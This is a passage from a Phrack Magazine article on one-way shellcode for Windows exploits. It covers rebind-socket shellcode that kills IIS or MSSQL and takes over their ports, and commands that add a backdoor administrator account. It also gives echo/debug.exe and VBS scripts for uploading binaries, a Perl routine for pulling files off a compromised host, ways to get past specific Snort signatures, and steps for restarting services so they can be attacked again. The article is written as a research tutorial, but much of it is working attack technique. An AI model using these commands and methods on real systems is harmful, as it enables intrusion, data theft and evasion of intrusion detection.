Back in our original shellcode, we will execute TerminateProcess() to 
forcefully terminate the vulnerable service. TerminateProcess() take 
two parameters, the Process handle to be terminated and the return 
value. Since we are terminating the current process, we can just pass 
-1 as the Process Handle.

As soon as the vulnerable service terminated, our shellcode in a 
separate process will be able to bind successfully to the specific 
port number. It will continue to bind a shell to that port and 
waiting for connection. To connect to this shell, we just need to 
connect to the target machine on the port number of the vulnerable 
service.

It is possible to improve the shellcode further by checking source 
port number of IP before allowing a shell. Otherwise, anyone 
connecting to that port immediately after your attack will obtain the 
shell.


--[ 4.c.1 Rebind socket shellcode implementation

Rebind socket shellcode is implemented in rebind.asm in the Code 
section. We need to use a lot of APIs in this shellcode. Loading 
these APIs by name will make our shellcode much bigger than it should 
be. Thus, the rebind socket shellcode is using another method to 
locate the APIs that we need. Instead of comparing the API by its 
name, we can compare by its fingerprint/hash. We generate a 
fingerprint for each API name we want to use and store it in our 
shellcode. Thus, we only need to store 4 bytes (size of the 
fingerprint) for each API. During shellcode execution, we will 
calculate the fingerprint of API name in the Export Table and compare 
it with our value. If there is a match, we found the API we need. The 
function that loads an API address by its fingerprint in rebind.asm 
was ripped from HD Moore's MetaSploit Framework 
(http://metasploit.com/sc/win32_univ_loader_src.c).

A sample usage of a rebind socket shellcode can be found rebindwb.c 
and lengmui.c in the Code section. Rebindwb.c is an exploit modified 
from the previous WebDAV exploit that make use of Rebind shellcode. 
It will attack IIS, kill it and take over its port. Connecting to 
port 80 after the exploit will grant the attacker a shell.

The other exploit, lengmui.c is MSSQL Resolution bug, it attack UDP 
1434, kill MSSQL server, bind itself to TCP 1433. Connection to TCP 
1433 will grant the attacker a shell.


--[ 4.d Other one-way shellcode

There are other creative mechanisms being implemented by Security 
Expert in the field. For example, Brett Moore's 91 bytes shellcode as 
published in Pen-Test mailing list (http://seclists.org/lists/pen-
test/2003/Jan/0000.html). It is similar to the Find Socket shellcode, 
only that, instead of actually finding the attacking connection, the 
shellcode create a new process of CMD for every socket descriptor.

Also similar to Find socket shellcode, instead of checking the 
destination port to identify our connection, XFocus's forum has 
discussion on sending additional bytes for verification. Our 
shellcode will read 4 more bytes from every socket descriptor, and if 
the bytes match with our signature, we will bind a CMD shell to that 
connection. It could be implemented as:

*	An exploit send additional bytes as signature ("ey4s") after 
	sending the overflow string
*	The shellcode will set each socket descriptor to non-blocking
*	Shellcode call API recv() to check for "ey4s"
*	If there is a match, spawn CMD
*	Loop if not true

It is also possible to send it with "MSG_OOB" flag. As implemented by 
san _at_ xfocus d0t org.

Yet, another possibility is to implement shellcode that execute 
command that attached in the shellcode it self. There is no need to 
create network connection. The shellcode just execute the command and 
die. We can append our command as part of the shellcode and execute 
CreateProcess() API. A sample implementation can be found on dcomx.c 
in the Code section. For example, we can use the following command to 
add a remote administrator to a machine which is vulnerable to RPC-
DCOM bug as discovered by LSD.

# dcomx 10.1.1.1 "cmd /c net user /add compaquser compaqpass"
# dcomx 10.1.1.1 "cmd /c net localgroup /add administrators compaquser"


--[ 5 Transferring file using shellcode

One of the most common things to do after you break into a box is to 
upload or download files. We usually download files from our target 
as proof of successful penetration testing. We also often upload 
additional tools to the server to use it as an attacking point to 
attack other internal server.

In the absent of a firewall, we can easily use FTP or TFTP tools 
found in standard Windows installation to get the job done:

*	ftp -s:script
*	tftp -i myserver GET file.exe


However, in a situation where there is no other way to go in and out, 
we can still transfer file using the shell we obtain from our One-way 
shellcode. It is possible to reconstruct a binary file by using the 
debug.exe command available in almost every Windows.


--[ 5.a Uploading file with debug.exe

We can create text file in our target system using the echo command. 
But we can't use echo to create binary file, not with the help from 
debug.exe. It is possible to reconstructing binary using debug.exe. 
Consider the following commands:

C:\>echo nbell.com>b.s
C:\>echo a>>b.s
C:\>echo dw07B8 CD0E C310>>b.s
C:\>echo.>>b.s
C:\>echo R CX>>b.s
C:\>echo 6 >>b.s
C:\>echo W>>b.s
C:\>echo Q>>b.s
C:\>debug<b.s

The echo command will construct a debug script which contains 
necessary instructions code in hex value to create a simple binary 
file. The last command will feed the script into debug.exe, which 
will eventually generate our binary file.

However, we cannot construct a binary file larger than 64k. This is 
the limitation of the debug.exe itself.


--[ 6.b Uploading file with VBS

Thus, a better idea to upload a binary file is to use Visual Basic 
Script. VBS interpreter (cscript.exe) available by default in almost 
all Windows platform. This is our strategy:
 
1.	Create a VBS script that will read hex code from a file and 
	rewrite it as binary.
2.	Upload the script to target using "echo" command.
3.	Read file to be uploaded, and "echo" the hex code to a file in 
	the target server.
4.	Run the VBS script to translate hex code to binary.

A sample script like below can be use to read any binary file and 
create the correspondence ASC printable hex code file.

dread: while (1){
	$nread2 = sysread(INFO, $disbuf, 100);
	last dread if $nread2 == 0;
	@bytes = unpack "C*", $disbuf;
	foreach $dab (@bytes){
		$txt .= sprintf "%02x", $dab;
	}
	$to .= "echo $txt >>outhex.txt\n";
	$nnn++;
	if ($nnn > 100) {
		print SOCKET $to;
		receive();
		print ".";
		$to="";
		$nnn=0;
	}
	$txt = "";
}

Then, we create our VBS decoder in the target machine - "tobin.vbs". 
We can easily use "echo" command to create this file in the target 
machine. This decoder will read the outhex.txt created above and 
construct the binary file.

Set arr = WScript.Arguments 
Set wsf = CreateObject("Scripting.FileSystemObject") 
Set infile = wsf.opentextfile(arr(arr.Count-2), 1, TRUE) 
Set file = wsf.opentextfile(arr(arr.Count-1), 2, TRUE) 
do while infile.AtEndOfStream = false 
	line = infile.ReadLine 
       For x = 1 To Len(line)-2 Step 2 
			thebyte = Chr(38) & "H" & Mid(line, x, 2) 
			file.write Chr(thebyte) 
       Next 
loop 
file.close 
infile.close

Once the decoder is in the target machine, we just need to execute it 
to convert the Hex code into a binary file:

# cscript tobin.vbs outhex.txt out.exe


--[ 5.c Retrieving file from command line

Once we have the ability to upload file to the machine, we can upload 
a Base64 encoder to the target machine. We will use this encoder to 
encode any file into a printable Base64 format. We can easily print 
the output of the Base64 encoded in command line and capture the text. 
Once we have the complete file in Base64, we will save that into a 
file in our machine. Using WinZip or any Base64 decoder, we can 
convert that file back into its binary form. The following command 
allows us to retrieve any file in our target machine:

print SOCKET "base64 -e $file outhex2.txt\n";
receive();
print SOCKET "type outhex2.txt\n";
open(RECV, ">$file.b64");
print RECV receive();

Fortunately, all these file upload/downloading can be automated. 
Refer to hellobug.pl in the Code section to see file transfer in 
action.


--[ 6 Avoiding IDS detection

Snort rules now have several Attack-Response signatures that will be 
able to detect common output from a Windows CMD shell. Every time we 
start CMD, it will display a banner:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\sk

There is a Snort rule that capture this banner:

http://www.snort.org/snort-db/sid.html?sid=2123

We can easily avoid this by spawning cmd.exe with the parameter of 
"/k" in our shellcode. All we need to do is just to add 3 more bytes 
in our shellcode from "cmd" to "cmd /k". You may also need to add 3 
to the value in the decoder that count the number of byte that we 
need to decode.

There is also another Snort rules that capture a directory listing of 
the "dir" command in a Windows shell:

http://www.snort.org/snort-db/sid.html?sid=1292

The rule compares "Volume Serial Number" in any established network 
packet, if there is a match, the rule will trigger an alert.

# dir
 Volume in drive C is Cool
 Volume Serial Number is SKSK-6622

 Directory of C:\Documents and Settings\sk

06/18/2004  06:22 PM    <DIR>          .
06/18/2004  06:22 PM    <DIR>          ..
12/01/2003  01:08 AM                58 ReadMe.txt

To avoid this, we just need to include /b in our dir command. It is 
best if we set this in an environment so that dir will always use 
this argument:

# set DIRCMD=/b
# dir
ReadMe.txt

Snort also has signature that detect "Command completed" in:

http://www.snort.org/snort-db/sid.html?sid=494

This command usually generated by the "net" command. It is easy to 
create a wrapper for the net command that will not display "Command 
completed" status or use other tools like "nbtdump", etc.


--[ 7 Restarting vulnerable service

Most often, after a buffer overflow, the vulnerable service will be 
unstable. Even if we can barely keep it alive, chances are we will 
not be able to attack the service again. Although we can try to fix 
these problem in our shellcode, but the easiest way is to restart the 
vulnerable service via our shell. This usually can be done using "at" 
command to schedule a command that will restart the vulnerable 
service after we exit from our shell.

For example, if our vulnerable service is IIS web server, we can 
reset it using a scheduler:

#at <time> iisreset

In the case of MS SQL Server, we just need to start the 
sqlserveragent service. This is a helper service installed by default 
when you install MS SQL Server. It will constantly monitor and check 
if the SQL Server process is running. If it is not, it will be 
started. Executing the following command in our shell will start this 
service, which in turn, help us to MS SQL Server once we exit. 

#net start sqlserveragent

Another example is on the Workstation service bug discovered by Eeye. 
In this case, we don't have a helper service. But we can kill the 
relevant service, and restart it.

1. Kill the Workstation service
#taskkill /fi "SERVICES eq lanmanworkstation" /f
 
2. restart required services
#net start workstation
#net start "computer browser"
#net start "Themes" <== optional
#net start "messenger"   <== optional
...
 
If we exit our shellcode now, we can attack the machine via the 
Workstation exploit again.


--[ 8 End of shellcode?

Shellcode is simple to use and probably easiest to illustrate the 
severity of a vulnerability in proof of concept code. However there 
are a few more advance payload strategies released to the public by 
LSD's Windows ASM component, Core Security's Syscall Proxy, Dave 
Aitel's MOSDEF, etc. These payloads offer much more than a shell. The 
References section provides a few good pointers to get more 
information. We hope you enjoy reading our article as much as other 
quality article from Phrack.


--[ 9 Greetz!

There are many good fellows we would like to thank for their 
continuous source of information to feed our hunger for knowledge. 
Without these guys, the security field will be boring.

My mentor, my friend: sam, pokleyzz, wanvadder, wyse, socket370 and 
the rest of =da scan clan=, Ey4s, San and all that support XFocus 
team! RD and the rest of THC! The Grugq! Saumil! Sheeraj! Nitesh! 
Caddis from Team-Teso! CK and the rest of SIG^2 team! Sensepost! 
BrightVaio! L33tdawg and the rest of HackInTheBox team!

Greets to the gurus: HD Moore! Halvar! HSJ! Michal, Adam and the rest 
of LSD! (David) Mnemonic! Dave Aitel! EEYE! Brett Moore! And many 
others Blackhat speakers for their excellence research!


--[ 10 References

*       Code to this article:
        http://www.scan-associates.net/papers/one-way.zip

*	Shellcode and exploit:
	HSJ - http://hsj.shadowpenguin.org/misc/

*	More shellcode!
	HD Moore - http://www.metasploit.com

*	Advance payload:
	CORE Security 

*	Syscall Proxying (http://www.blackhat.com/html/bh-usa-
	02/bh-usa-02-speakers.html#Maximiliano Caceres)

*	Inlineegg 
	(http://oss.coresecurity.com/projects/inlineegg.html)

*	LSD (http://www.hivercon.com/hc02/talk-lsd.htm)

*	Eeye (http://www.blackhat.com/html/win-usa-03/win-usa-03-
	speakers.html#Riley Hassel)

*	Dave Aitel (http://www.immunitysec.com/MOSDEF/)

*	Alexander E. Cuttergo (Impurity)


--[ 11 The code

Please see http://www.scan-associates.net/papers/one-way.zip

|=[ EOF ]=---------------------------------------------------------------=|

[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]
© Copyleft 1985-2021, Phrack Magazine.